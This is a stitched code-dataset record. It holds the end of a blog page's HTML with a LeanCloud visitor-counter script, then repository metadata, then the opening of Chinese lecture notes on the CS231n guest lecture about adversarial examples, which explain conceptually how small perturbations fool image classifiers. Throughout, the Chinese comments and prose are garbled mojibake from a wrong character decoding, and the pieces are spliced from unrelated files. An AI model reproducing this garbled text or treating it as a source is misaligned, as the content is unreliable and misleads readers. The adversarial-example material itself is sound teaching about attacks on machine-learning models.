</div>\n </div>\n <!-- If you have an appendix, a bibliography is automatically created and populated in it. <h3>Appendix Section\n Title</h3>\n <p>section content<p> -->\n\n</dt-footer>\n\n<script type=\"text/javascript\" src=\"../../static/js/layout_img.js\"></script>\n<script>\n \n function showHitCount(Counter) {\n /* ่ฟ™ๆ˜ฏ็ป™ไธ€ไธช้กต้ขไธญๆœ‰ๅคš็ฏ‡ๆ–‡็ซ ๆ—ถๆ‰€่ฐƒ็”จ็š„๏ผŒไพ‹ๅฆ‚ๅšๅฎขไธป็•Œ้ขๆˆ–่€…ๅญ˜ๆกฃ็•Œ้ขใ€‚\n */\n var query = new AV.Query(Counter);\n var entries = [];\n var $visitors = $(\".leancloud_visitors\");\n \n // ่Žทๅ–้กต้ขไธญๆ‰€ๆœ‰ๆ–‡็ซ ็š„id๏ผˆpage.url๏ผ‰\n $visitors.each(function () {\n entries.push($(this).attr(\"id\").trim());\n });\n \n // ๆ‰น้‡ๆŸฅ่ฏข\n query.containedIn('id', entries);\n query.find().then(function (results) {\n var COUNT_CONTAINER_REF = '.leancloud-visitors-count';\n \n if (results.length === 0) {\n $visitors.find(COUNT_CONTAINER_REF).text(0);\n return;\n }\n \n for (var i = 0; i < results.length; i++) {\n var item = results[i];\n var id = item.get('id');\n var hits = item.get('hits'); // ่Žทๅ–็‚นๅ‡ปๆฌกๆ•ฐ\n var element = document.getElementById(id);\n \n // ๆ˜พ็คบ็‚นๅ‡ปๆฌกๆ•ฐ\n $(element).find(COUNT_CONTAINER_REF).text(hits);\n }\n for (var i = 0; i < entries.length; i++) {\n var id = entries[i];\n var element = document.getElementById(id);\n var countSpan = $(element).find(COUNT_CONTAINER_REF);\n if (countSpan.text() == '') {\n countSpan.text(0);\n }\n }\n }),\n function (object, error) {\n console.log(\"Error: \" + error.code + \" \" + error.message);\n };\n }\n \n function addCount(Counter) {\n // ้กต้ข๏ผˆๅšๅฎขๆ–‡็ซ ๏ผ‰ไธญ็š„ไฟกๆฏ๏ผšleancloud_visitors\n // idไธบpage.url๏ผŒ data-flag-titleไธบpage.title\n var $visitors = $(\".leancloud_visitors\");\n var id = $visitors.attr('id').trim();\n var title = $visitors.attr('data-flag-title').trim();\n var query = new AV.Query(Counter);\n \n // ๅชๆ นๆฎๆ–‡็ซ ็š„urlๆŸฅ่ฏขLeanCloudๆœๅŠกๅ™จไธญ็š„ๆ•ฐๆฎ\n query.equalTo(\"id\", id);\n query.find().then(\n function (results) {\n if (results.length > 0) { //่ฏดๆ˜ŽLeanCloudไธญๅทฒ็ป่ฎฐๅฝ•ไบ†่ฟ™็ฏ‡ๆ–‡็ซ \n var counter = results[0];\n counter.fetchWhenSave(true);\n counter.increment(\"hits\"); // ๅฐ†็‚นๅ‡ปๆฌกๆ•ฐๅŠ 1\n counter.save().then(\n function (counter) {\n var $element = $(document.getElementById(id));\n $element.find('.leancloud-visitors-count').text(counter.get('hits'));\n },\n function (counter, error) {\n console.log('Failed to save Visitor num, with error message: ' + error.message);\n }\n );\n } else {\n // ๆ‰ง่กŒ่ฟ™้‡Œ๏ผŒ่ฏดๆ˜ŽLeanCloudไธญ่ฟ˜ๆฒกๆœ‰่ฎฐๅฝ•ๆญคๆ–‡็ซ \n var newcounter = new Counter();\n /* Set ACL */\n var acl = new AV.ACL();\n acl.setPublicReadAccess(true);\n acl.setPublicWriteAccess(true);\n newcounter.setACL(acl);\n /* End Set ACL */\n newcounter.set(\"title\", title); // ๆŠŠๆ–‡็ซ ๆ ‡้ข˜\n newcounter.set(\"id\", id); // ๆ–‡็ซ url\n newcounter.set(\"hits\", 1); // ๅˆๅง‹็‚นๅ‡ปๆฌกๆ•ฐ๏ผš1ๆฌก\n newcounter.save().then( // ไธŠไผ ๅˆฐLeanCloudๆœๅŠกๅ™จไธญ\n function (newcounter) {\n var $element = $(document.getElementById(id));\n $element.find('.leancloud-visitors-count').text(newcounter.get('hits'));\n },\n function (newcounter, error) {\n console.log('Failed to create');\n }\n );\n }\n },\n function (error) {\n console.log('Error:' + error.code + \" \" + error.message);\n }\n );\n }\n \n $(function () {\n var Counter = AV.Object.extend(\"PostCounter\");\n if ($('.leancloud_visitors').length == 1) {\n // in post.html, so add 1 to hit counts\n addCount(Counter);\n } else if ($('.post-link').length > 1) {\n // in index.html, there are many 'leancloud_visitors' and 'post-link', so just show hit counts.\n showHitCount(Counter);\n }\n });\n </script>\n<!-- https://web.hypothes.is/help/embedding-hypothesis-in-websites-and-platforms/ -->\n<!-- https://h.readthedocs.io/projects/client/en/latest/publishers/config/ -->\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"showHighlights\": true\n }\n</script>\n<script>\n window.hypothesisConfig = function () {\n return {\n onLayoutChange: function(layoutParams) {\n// console.log(layoutParams.width) ๆœชๆฅๅฏๆ”น\n },\n };\n };\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.8184303045272827, "alphanum_fraction": 0.8561614155769348, "avg_line_length": 63.21016311645508, "blob_id": "5267322f8597a51ab5f948140313c911ba1f9e63", "content_id": "dbd83082893bab101bd9cd3d115d9716656b1f9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 68450, "license_type": "no_license", "max_line_length": 928, "num_lines": 433, "path": "/blog/cs231n/cs231n_Guest Lecture. Adversarial Examples and Adversarial Training.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Guest Lecture. Adversarial Examples and Adversarial Training\ndate: 2018-09-15\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=35)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2017](http://cs231n.stanford.edu/2017/syllabus).\n>\n\n# Guest Lecture. Adversarial Examples and Adversarial Training\n\n\n- Slide...\n<iframe src=\"http://cs231n.stanford.edu/slides/2017/cs231n_2017_lecture16.pdf\" style=\"width:1000px; height:800px;\" width=\"100%\" height=100%>This browser does not support PDFs. Please download the PDF to view it: <a href=\"http://cs231n.stanford.edu/slides/2017/cs231n_2017_lecture16.pdf\">Download PDF</a></iframe>\n\n\n\nๆˆ‘ไปŠๅคฉ่ฆ็ป™ไฝ ไปฌไป‹็ปไธ€ไธ‹ๅฏนๆŠ—ๆ ทๆœฌๅ’ŒๅฏนๆŠ—่ฎญ็ปƒใ€‚\n\n![](https://i.loli.net/2018/09/15/5b9c5ac37539a.png)\n\nๅ›ž้กพไธ€ไธ‹๏ผŒๅ…ˆๆฅ่ฎฒ่ฎฒ๏ผŒๅฏนๆŠ—ๆ ทๆœฌๆ˜ฏไป€ไนˆใ€‚ๅ†ๆฅ่งฃ้‡Šไธ€ไธ‹ๅฏนๆŠ—ๆ ทๆœฌไธบไฝ•ไผšๆถŒ็Žฐๅ‡บๆฅ๏ผŒๆˆ–่€…่ฏดไธบไป€ไนˆๅฎƒไปฌๆ˜ฏๆœ‰็”จ็š„ใ€‚ๆˆ‘ไผš่ฎฒไธ€็‚นๅฏนๆŠ—ๆ ทๆœฌๅฆ‚ไฝ•ๆž„ๆˆ็Žฐๅฎžไธ–็•Œ็š„ๅฎ‰ๅ…จๅจ่ƒ๏ผŒๅŒ…ๆ‹ฌไฝฟ็”จๅฏนๆŠ—ๆ‰‹ๆฎตๆฅๆŸๅๅŸบไบŽๆœบๅ™จๅญฆไน ็š„็ณป็ปŸใ€‚ๆˆ‘ไผš่ฎฒไธ€ไธ‹็›ฎๅ‰็š„้˜ฒๅพกๆ‰‹ๆฎต๏ผŒไฝ†ๅคง้ƒจๅˆ†็š„้˜ฒๅพกๆ‰‹ๆฎตไป็„ถๆ˜ฏๅผ€ๆ”พ็š„็ ”็ฉถ้—ฎ้ข˜ใ€‚ๆˆ‘ๅธŒๆœ›ไฝ ไปฌๅ…ถไธญ็š„ๆŸไบ›ไบบๅฏไปฅๅŽปๆทฑๅ…ฅ็ ”็ฉถใ€‚ๆœ€ๅŽๆˆ‘ไผš่ฎฒไธ€ไธ‹ๅฆ‚ไฝ•ไฝฟ็”จๅฏนๆŠ—ๆ ทๆœฌ๏ผŒๆฅๆ้ซ˜ๅ…ถไป–ๆœบๅ™จๅญฆไน ็ฎ—ๆณ•็š„ๆ€ง่ƒฝ๏ผŒๅฐฑ็ฎ—ๆ˜ฏไฝ ๅชๆƒณๆž„ๅปบไธ€ไธชไธ้œ€่ฆ้ขไธด็Žฐๅฎžไธ–็•ŒๅฏนๆŠ—็š„ๆœบๅ™จๅญฆไน ็ฎ—ๆณ•ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/15/5b9c5ae472b89.png)\n\n็œ‹๏ผˆไธŠ้ข๏ผ‰่ฟ™ๅผ ๅคงๅ›พๅ’Œ่ฟ™ๆฌก่ฎฒๅบง็š„่ฏพ้ข˜๏ผŒๆˆ‘็›ธไฟกๅœจๅœบ็š„ๅคงๅคšๅฏนๆœบๅ™จๅญฆไน ๅœจๅ„็งไธๅŒ็š„้กน็›ฎไธŠ็š„ๆƒŠไบบๅŠŸๅŠ›ๅ’Œๅทจๅคงๆˆๅฐฑๆœ‰ๆ‰€่€ณ้—ปใ€‚ไปฅๅ‰่ฟ™ไบ›้—ฎ้ข˜้ƒฝไธ่ƒฝ็”จ่ฝฏไปถ็ผ–็จ‹่งฃๅ†ณ๏ผŒๅคšไบไบ†ๆทฑๅบฆๅญฆไน ใ€ๅท็งฏ็ฝ‘็ปœใ€ๆขฏๅบฆไธ‹้™๏ผŒ่ฟ™ไบ›้—ฎ้ข˜้ƒฝๅพ—ไปฅ่งฃๅ†ณ๏ผŒ่ฟ™ไบ›ๆŠ€ๆœฏ้ƒฝๆ•ˆๆžœ้žๅธธๅฅฝใ€‚ไธ€็›ดๅˆฐๅ‡ ๅนดๅ‰๏ผŒ่ฟ™ไบ›ๆŠ€ๆœฏๆ‰็œŸๆญฃๅผ€ๅง‹ๆœ‰ๆ•ˆ๏ผŒ\n\nๅคงๆฆ‚ๅœจ2013ๅนด๏ผŒๆˆ‘ไปฌ็œ‹ๅˆฐๆทฑๅบฆๅญฆไน ๅœจๅพˆๅคš้—ฎ้ข˜ไธŠ่พพๅˆฐไบ†ไบบ็ฑปๆฐดๅนณใ€‚ๅฏไปฅ็œ‹ๅˆฐๅท็งฏ็ฝ‘็ปœๅœจ่ฏ†ๅˆซ็›ฎๆ ‡ๅ’Œๅ›พ็‰‡ๆ—ถ๏ผŒๅœจ่ฟ™ไบ›ๅŸบๅ‡†้›†ไธŠๅพ—ๅˆ†ๅ’Œไบบๅทฎไธๅคš๏ผŒไบบ็ฑปๅ’Œๆœบๅ™จ่พพๅˆฐๅŒไธ€ๆฐดๅนณ๏ผŒไธ€้ƒจๅˆ†ๅŽŸๅ› ๆ˜ฏไธ€่ˆฌไบบๅŒบๅˆซไธไบ†้˜ฟๆ‹‰ๆ–ฏๅŸบๅ“ˆๅฃซๅฅ‡ๅ’Œ่ฅฟไผฏๅˆฉไบšๅ“ˆๅฃซๅฅ‡ใ€‚ไฝ†ๆŠ›ๅผ€่ฟ™ไบ›ๅŸบๅ‡†้›†ไธญ็š„็‰นๆฎŠๆƒ…ๅ†ต๏ผŒๅบ”็”จๅœจ็›ฎๆ ‡่ฏ†ๅˆซไธญ็š„ๆทฑๅบฆๅญฆไน ๏ผŒๅœจ2013ๅนดๅทฆๅณๅฐฑๅทฒ็ป่ตถไธŠไบบ็ฑปๆฐดๅนณไบ†ใ€‚ๅŒไธ€ๅนด๏ผŒๆˆ‘ไปฌไนŸ่ง่ฏไบ†็›ฎๆ ‡่ฏ†ๅˆซๅœจไบบ่„ธๆ–น้ขๅบ”็”จไนŸๅ’Œไบบ็ฑป่พพๅˆฐไบ†ๅŒไธ€ๆฐดๅนณ๏ผŒๅฐฑๆ˜ฏ่ฏดๅฟฝ็„ถไน‹ๅ‰๏ผŒๆˆ‘ไปฌๅฐฑๆœ‰ๅฏไปฅๅ’Œไฝ ๆˆ‘่ฏ†ๅˆซ้™Œ็”Ÿไบบ่ƒฝๅŠ›ๅชฒ็พŽ็š„่ƒฝ่ฏ†ๅˆซไบบ่„ธ็š„่ฎก็ฎ—ๆœบไบ†ใ€‚ๅœจ่พจๅˆซๆœ‹ๅ‹ๅ’Œๅฎถไบบ็š„ไบบ่„ธๆ–น้ข๏ผŒไฝ ่‚ฏๅฎšไผšๆฏ”่ฎก็ฎ—ๆœบๅผบ๏ผŒไฝ†ไฝ ๅœจ่พจๅˆซ้‚ฃไบ›ไฝ ๆฒกๆ€Žไนˆๆ‰“่ฟ‡ไบค้“็š„ไบบ็š„ๆ—ถๅ€™๏ผŒ่ฎก็ฎ—ๆœบๅœจ2013ๅนดๅฐฑๅ’Œๆˆ‘ไปฌๅทฎไธๅคšไบ†ใ€‚ๆˆ‘ไปฌ่ฟ˜่ง่ฏไบ†2013ๅนด่ฎก็ฎ—ๆœบๅœจ่ฏ†ๅˆซ็…ง็‰‡ไธŠ็š„ๅญ—ไฝ“ไนŸๅ’Œไบบ็ฑปๆฐดๅนณๅทฎไธๅคš๏ผŒ็”š่‡ณๅฏผ่‡ดๆˆ‘ไปฌๆ— ๆณ•ไฝฟ็”จ้ชŒ่ฏ็ ๆฅๅŒบๅˆ†็ฝ‘้กต็”จๆˆทๆ˜ฏไบบ็ฑป่ฟ˜ๆ˜ฏๆœบๅ™จไบ†๏ผŒๅ› ไธบๅท็งฏ็ฝ‘็ปœๅœจ่ฏ†ๅˆซๆจก็ณŠๆ–‡ๅญ—ไธŠๆฏ”ไบบ็ฑป่ฟ˜ๅŽ‰ๅฎณใ€‚\n\nๆ‰€ไปฅ็Žฐๅœจๆทฑๅบฆๅญฆไน ็š„ๆ•ˆๆžœ้‚ฃไนˆๅฅฝ๏ผŒๅฐคๅ…ถๆ˜ฏ่ฎก็ฎ—ๆœบ่ง†่ง‰็š„ๆ•ˆๆžœ้‚ฃไนˆๅฅฝ๏ผŒๆ‰€ไปฅ็Žฐๅœจ่ƒฝๅคŸ่ฎฉ่ฎก็ฎ—ๆœบ็Šฏ้”™่ฏฏ็š„ๆƒ…ๅ†ตๆ˜ฏ่ถŠๆฅ่ถŠๅฐ‘ไบ†ใ€‚ไฝ†ๅœจ2013ๅนดไปฅๅ‰๏ผŒๆฒกๆœ‰ไบบไผšๅฏน่ฎก็ฎ—ๆœบ็Šฏ้”™่ฏฏๆ„ŸๅˆฐๆƒŠ่ฎถ๏ผŒ่ฎก็ฎ—ๆœบ็Šฏ้”™่ฏฏๆ˜ฏไธชๅธธๆ€่€Œไธๆ˜ฏไพ‹ๅค–๏ผŒ\n\nๆ‰€ไปฅไปŠๅคฉๆˆ‘ไปฌ่ฆ่ฎฒ็š„ๆ˜ฏๆทฑๅบฆๅญฆไน ็ฎ—ๆณ•้€ ๆˆ็š„็ฝ•่ง็š„้”™่ฏฏใ€‚่ฟ™ไธชไธป้ข˜้ƒฝไธๆ˜ฏไธ€ไธชๆญฃๅ„ฟๅ…ซ็ป็š„ๅญฆไน ไธป้ข˜๏ผŒ็›ดๅˆฐ็ฎ—ๆณ•ๅคง้ƒจๅˆ†ๆƒ…ๅ†ตไธ‹ๆ•ˆๆžœ้ƒฝไธ้”™็š„ๆ—ถๅ€™ใ€‚็Žฐๅœจไบบไปฌ็ ”็ฉถ็š„ๆ˜ฏ็ฎ—ๆณ•ๅดฉๅ็š„ๆƒ…ๅ†ต๏ผŒ่ฟ™ๅ…ถๅฎžๆ˜ฏไพ‹ๅค–่€Œไธไผšๅธธ่ง„ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/15/5b9c5db910f1f.png)\n\nๅฏนๆŠ—ๆ ทๆœฌๆ˜ฏ้‚ฃ็ง็”จๅฟƒๆž„้€ ๅ‡บๆฅไผš่ขซๅˆ†้”™็ฑป็š„ๆ ทๆœฌใ€‚ๅคง้ƒจๅˆ†ๆƒ…ๅ†ตไธ‹๏ผŒๆˆ‘ไปฌไผšๆž„้€ ไธ€ไธชๅฏนไบบ็ฑป่ง‚ๅฏŸ่€…ๆฅ่ฏด๏ผŒ็œ‹่ตทๆฅๅ’ŒๅŽŸๅง‹ๅ›พ็‰‡ไธๅฏๅŒบๅˆ†็š„ๆ–ฐๅ›พ็‰‡ใ€‚\n\nๆˆ‘๏ผˆไธŠ้ข๏ผ‰็ป™ไฝ ๅฑ•็คบไธ€ไธชๅ…ณไบŽ็†Š็Œซ็š„ไพ‹ๅญใ€‚ๅทฆ่พนๆ˜ฏไธ€ไธช็†Š็Œซ๏ผŒๆฒกๆœ‰็ป่ฟ‡ไปปไฝ•ไฟฎๆญฃ๏ผŒๅœจ imagenet ๆ•ฐๆฎ้›†ไธŠ่ฎญ็ปƒๅฅฝ็š„ๅท็งฏ็ฝ‘็ปœ๏ผŒ่ƒฝๅคŸ่ฏ†ๅˆซๅ‡บ่ฟ™ๆ˜ฏไธ€ไธช็†Š็Œซใ€‚ๆœ‰ๆ„ๆ€็š„ๆ˜ฏ่ฟ™ไธชๆจกๅž‹ๅฏนไบŽ่ฟ™ไธชๅˆคๆ–ญๆฒกๆœ‰ๅ่ถณ็š„ๆŠŠๆก๏ผŒๅคงๆฆ‚ๆœ‰60%็š„ๆฆ‚็Ž‡่ฎคไธบ่ฟ™ๅผ ๅ›พ็‰‡ๆ˜ฏไธ€ไธช็†Š็Œซใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌ็กฎๅˆ‡ๅœฐ่ฎก็ฎ—ๅฆ‚ๆžœๅฏนๅ›พ็‰‡ๅšไธ€ไธชไฟฎๆญฃ๏ผŒไฝฟๅพ—ๅท็งฏ็ฝ‘็ปœๅœจ่ฏ†ๅˆซไฟฎๆญฃๅŽ็š„ๅ›พ็‰‡็Šฏ้”™่ฏฏ๏ผŒๆˆ‘ไปฌๆ‰พๅˆฐไธ€ไธช็”ฑ๏ผˆไธŠๅ›พ๏ผ‰ไธญ้—ด็š„ๅ›พๅƒ็ป™ๅ‡บ็š„็งปๅŠจๆ‰€ๆœ‰ๅƒ็ด ็š„ๆœ€ไผ˜ๆ–นๅ‘ใ€‚ๅœจไบบไปฌ็œ‹ๆฅ่ฟ™ๅพˆๅƒๆ˜ฏๅ™ชๅฃฐ๏ผŒไฝ†ๅฎƒๅ…ถๅฎžไธๆ˜ฏๅ™ชๅฃฐ๏ผŒไนŸๆ˜ฏ็”จๅฟƒๆž„้€ ๅ‡บๆฅ็š„ไธ€ไธช็ฝ‘็ปœๅ‚ๆ•ฐ็š„ๅ‡ฝๆ•ฐ๏ผŒๅ…ถๅฎž่ฟ™ไธชๅ‡ฝๆ•ฐๆœ‰็€ๅคๆ‚็š„็ป“ๆž„ใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌๆŠŠๆž„้€ ๅ‡บๆฅ็š„ๆ”ปๅ‡ปๅ›พๅƒไน˜ไธŠไธ€ไธช้žๅธธๅฐ็š„็ณปๆ•ฐ๏ผŒ็„ถๅŽๅŠ ๅˆฐๅŽŸๅง‹็š„็†Š็Œซๅ›พ็‰‡ไธŠ๏ผŒๆˆ‘ไปฌๅฐฑๅฏไปฅๅพ—ๅˆฐไธ€ไธชไบบ็ฑป็œ‹่ตทๆฅๅ’ŒๅŽŸๆฅ็†Š็Œซ็œ‹่ตทๆฅๅฎŒๅ…จๆฒกๆœ‰ๅŒบๅˆซ็š„ๅ›พ็‰‡ใ€‚ๅฎž้™…ไธŠๅนป็ฏ็‰‡๏ผˆไธŠๅ›พ๏ผ‰ๅณ่พน็š„็†Š็Œซๅ’Œๅทฆ่พน็š„็†Š็Œซๅฐฑๆ˜ฏ็œ‹ไธๅ‡บๆฅๅŒบๅˆซใ€‚ไฝ†ๅฝ“ๆˆ‘ไปฌๆŠŠ่ฟ™ๅผ ๆ–ฐๅ›พ็‰‡็ป™ๅท็งฏ็ฝ‘็ปœ็œ‹ๆ—ถ๏ผŒๆˆ‘ไปฌไฝฟ็”จ32ไฝๆตฎ็‚นๆ•ฐ๏ผŒ่ฟ™ไธชๆ˜พ็คบๅ™จๅช่ƒฝๅฑ•็คบ8ไฝ้ขœ่‰ฒๅˆ†่พจ็Ž‡๏ผˆ256็ง้ขœ่‰ฒ๏ผ‰ใ€‚ๆˆ‘ไปฌๅชๆ”นๅ˜้‚ฃไนˆไธ€ไธขไธข๏ผŒ็”š่‡ณๅฐๅˆฐ้ƒฝๆ— ๆณ•ๅฝฑๅ“ๅ…ถไธญๆœ€ๅฐ็š„8ไฝ๏ผŒไฝ†ๅฝฑๅ“ๅˆฐไบ†32ไฝๆตฎ็‚นๆ•ฐ่กจ็คบไธญ็š„ๅ…ถไป–24ไฝใ€‚ไฝ†่ฟ™ไธ€็‚น็‚น็š„ๅŒบๅˆซๅฐฑ่ถณๅคŸๆฌบ้ช—ๅท็งฏ็ฝ‘็ปœ๏ผŒ่ฟ™ๆฌกๅฎƒๆŠŠ็†Š็Œซ่ฎคๆˆไธ€ๅช้•ฟ่‡‚็Œฟใ€‚\n\nๅฆไธ€ไปถๆœ‰ๆ„ๆ€็š„ไบ‹ๆƒ…ๆ˜ฏ๏ผŒๅฎƒ่ฟ˜ไธๅชๆ˜ฏๆ”นๅ˜ไบ†ๅˆ†็ฑป๏ผŒ่ฟ˜ไธไป…ไป…ๆ˜ฏ็ขฐๅˆฐๅ†ณ็ญ–่พน็•Œ๏ผˆ็†Š็Œซๅ’Œ้•ฟ่‡‚็Œฟ็š„็ฑปๅˆซ่พน็•Œ๏ผ‰๏ผŒ็„ถๅŽๅฐฑ้‚ฃไนˆ่ทจ่ฟ‡ๅŽป๏ผˆๅˆ†้”™็ฑป๏ผ‰ไบ†่€Œๅทฒใ€‚ๅท็งฏ็ฝ‘็ปœๅฑ…็„ถ่ฟ˜ๅฏนๅฎƒ้”™่ฏฏ็š„ๅˆ†็ฑป้ข„ๆต‹ๆœ‰ไบ†ๅพˆ้ซ˜็š„็ฝฎไฟกๅบฆ๏ผŒๅฐฑๆ˜ฏ่ฏด็ฝ‘็ปœ่ฎคไธบๅณ่พนๅ›พ็‰‡ๆ˜ฏไธ€ๅช้•ฟ่‡‚็Œฟ็š„็ฝฎไฟกๅบฆ๏ผŒๆฏ”ๅŽŸๅง‹ๅ›พ็‰‡ๆ˜ฏไธ€ๅช็†Š็Œซ็š„็ฝฎไฟกๅบฆ่ฟ˜ๆžใ€‚็ฝ‘็ปœ่ฎคไธบ๏ผˆไธŠๅ›พ๏ผ‰ๅณ่พน็š„ๅ›พ็‰‡99.9%็š„ๆฆ‚็Ž‡ๆ˜ฏไธ€ๅช้•ฟ่‡‚็Œฟ๏ผŒๅฐฑๅœจๅˆšๆ‰๏ผŒๅท็งฏ็ฝ‘็ปœ่ฟ˜่ง‰ๅพ—ๅทฆ่พน็š„ๅ›พ็‰‡ๆœ‰ 1/3 ็š„ๅฏ่ƒฝไธๆ˜ฏไธ€ๅช็†Š็Œซ๏ผŒ็Žฐๅœจๅฎƒๅฑ…็„ถๅฐฑๅ‡ ไนŽๆ•ข่‚ฏๅฎšๅณ่พนๆ˜ฏไธ€ๅช้•ฟ่‡‚็Œฟไบ†ใ€‚\n\nไปฅๅ‰ๆ›พ็ปๆœ‰ไบบ็ ”็ฉถๅ„็งๅฏไปฅๆฌบ้ช—ไธๅŒ็š„ๆœบๅ™จๅญฆไน ๆจกๅž‹็š„่ฎก็ฎ—ๆ”ปๅ‡ปๆ‰‹ๆฎต๏ผŒ่‡ณๅฐ‘ๆ˜ฏ2004ๅนดๅผ€ๅง‹็š„๏ผŒๆˆ–่€…ๆ›ดๆ—ฉใ€‚ๅพˆ้•ฟๆ—ถ้—ดไปฅๆฅ๏ผŒๆˆ‘ไปฌๅšๅˆฐไบ†ๆฌบ้ช—ๅžƒๅœพ้‚ฎไปถๆฃ€ๆต‹ๅ™จใ€‚ๅคง็บฆๅœจ2013ๅนด๏ผŒBattista Biggio ๅ‘็Žฐๅฏไปฅ็”จ่ฟ™็งๆ–นๅผๆฅๆฌบ้ช—็ฅž็ป็ฝ‘็ปœ๏ผŒๅœจๅทฎไธๅคšๆ—ถ้—ด๏ผŒๆˆ‘็š„ๅŒไบ‹ Christian Szegedy ๅ‘็Žฐๅฏไปฅ็”จ่ฟ™็งๆ”ปๅ‡ปๆฅๅฏนๆŠ—ๆทฑๅบฆ็ฅž็ป็ฝ‘็ปœ๏ผŒๅช่ฆ็”จไธ€ไธชๆœ็ดขๅ›พ็‰‡่พ“ๅ…ฅ็š„ไผ˜ๅŒ–็ฎ—ๆณ•ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/15/5b9c620f39854.png)\n\nๆˆ‘ไปŠๅคฉไผš็ป™ไฝ ไปฌ่Šๅพˆๅคšๆˆ‘่‡ชๅทฑๅœจ่ฟ™ไธชไธป้ข˜ไธŠ็š„ไธ€ไบ›ๅŽ็ปญๅทฅไฝœใ€‚ๆˆ‘ๅ‰ๅ‡ ๅนด่Šฑไบ†ๅพˆๅคšๅฟƒๆ€ๆฅ็†่งฃไธบไป€ไนˆ่ฟ™ไบ›ๆ”ปๅ‡ปๆ˜ฏๅฏ่กŒ็š„๏ผŒไธบไป€ไนˆ้‚ฃไนˆ่ฝปๆ˜“ๅฐฑ้ช—่ฟ‡ไบ†ๅท็งฏ็ฝ‘็ปœใ€‚ๅฝ“ๆˆ‘็š„ๅŒๆ—ถ Christian ๅ’Œ Battista Biggio ๅœจๅทฎไธๅคšๆ—ถๅ€™่‡ชๅทฑ็‹ฌ็ซ‹ๅœฐๅ‘็Žฐไบ†่ฟ™ไธช็Žฐ่ฑก๏ผŒไป–่ฏ•ๅ›พๅš็š„ๅ…ถๅฎžๆ˜ฏไธ€ไธชๅฏ่ง†ๅŒ–็ป“ๆžœใ€‚ไป–ไธๆ˜ฏๅœจ็ ”็ฉถๅฎ‰ๅ…จๆ€ง๏ผŒไนŸไธๆ˜ฏๅœจ็ ”็ฉถๅฆ‚ไฝ•ๆฌบ้ช—ไธ€ไธช็ฅž็ป็ฝ‘็ปœใ€‚็›ธๅ๏ผŒไป–ๆœ‰ไบ†ไธ€ไธชๅฏไปฅๅพˆๅฅฝๅœฐ่ฏ†ๅˆซ็›ฎๆ ‡็š„ๅท็งฏ็ฝ‘็ปœ๏ผŒไป–ๆƒณ็Ÿฅ้“่ฟ™ไธช็ฝ‘็ปœๅˆฐๅบ•ๆ˜ฏๅฆ‚ไฝ•ๅทฅไฝœ็š„ใ€‚ไบŽๆ˜ฏไป–ๅฐฑๆƒณๅˆฐไป–ๅฏไปฅๆ‹ฟไธ€ไธชๅœบๆ™ฏ็š„ๅ›พ็‰‡๏ผŒๆฏ”ๅฆ‚่ฏด่ˆน็š„็…ง็‰‡๏ผŒ็„ถๅŽไป–้€ๆญฅๅœฐๅ˜ๆขๅ›พ็‰‡๏ผŒ็›ดๅˆฐ็ฝ‘็ปœ่ฎคไธบ๏ผŒ้‚ฃๆ˜ฏไธ€ๆžถ้ฃžๆœบใ€‚ๅœจๅฝขๅ˜่ฟ‡็จ‹ไธญ๏ผŒ็œ‹่ตทๆฅๅƒ้ฃžๆœบ่ƒŒๅŽ็š„ๅคฉ็ฉบๆˆ–่ฎธๅฏ่ƒฝๆ˜ฏ่ƒŒๆ™ฏ็ผ–็จ‹่“่‰ฒไบ†๏ผŒๅˆๆˆ–่€…่ˆน้•ฟ้•ฟๅ‡บ็ฟ…่†€ไบ†็œ‹่ตทๆฅๅƒ้ฃžๆœบใ€‚ไฝ ๅฏไปฅไปŽไธญๅพ—ๅˆฐ็ป“่ฎบ๏ผŒๅณๅท็งฏ็ฝ‘็ปœๅˆฐๅบ•ๆ˜ฏ็”จ่“ๅคฉ่ฟ˜ๆ˜ฏ็”จ็ฟ…่†€ๆฅ่ฏ†ๅˆซ้ฃžๆœบ็š„ใ€‚็„ถ่€Œไบ‹ๅฎžๅนถไธๆ˜ฏ่ฟ™ๆ ท็š„๏ผŒไฝ ไปŽ๏ผˆไธŠๅ›พ๏ผ‰ๅทฆๅพ€ๅณ๏ผŒไปŽไธŠๅพ€ไธ‹็œ‹๏ผŒ่ฟ™้‡Œๅฑ•็คบ็š„ๆฏไธชๅˆ†ๅ—้ƒฝๆ˜ฏๅŸบไบŽๅฏนๆ•ฐๆฆ‚็Ž‡็š„ๆขฏๅบฆไธŠๅ‡๏ผŒๆ นๆฎๅท็งฏ็ฝ‘็ปœๆจกๅž‹๏ผŒ่พ“ๅ…ฅ็š„ๆ˜ฏไธ€ๆžถ้ฃžๆœบ๏ผŒๆˆ‘ไปฌๆ นๆฎๅ›พๅƒ็š„่พ“ๅ…ฅ็š„ๆขฏๅบฆๆฅ็œ‹ใ€‚ไฝ ๅคงๆฆ‚ๅทฒ็ปไน ๆƒฏไบ†ๆจกๅž‹ๅ‚ๆ•ฐๆขฏๅบฆ่ฟ™ไธ€ๅฅ—ไธœ่ฅฟ๏ผŒๅฏไปฅ็”จๅๅ‘ไผ ๆ’ญ็š„ๆ–นๆณ•ๆฅ่ฎก็ฎ—่พ“ๅ…ฅๅ›พ็‰‡็š„ๆขฏๅบฆๆ˜ฏๅ’Œ่ฎก็ฎ—ๅ‚ๆ•ฐๆขฏๅบฆไธ€ๆ ท็š„ๆต็จ‹ใ€‚ 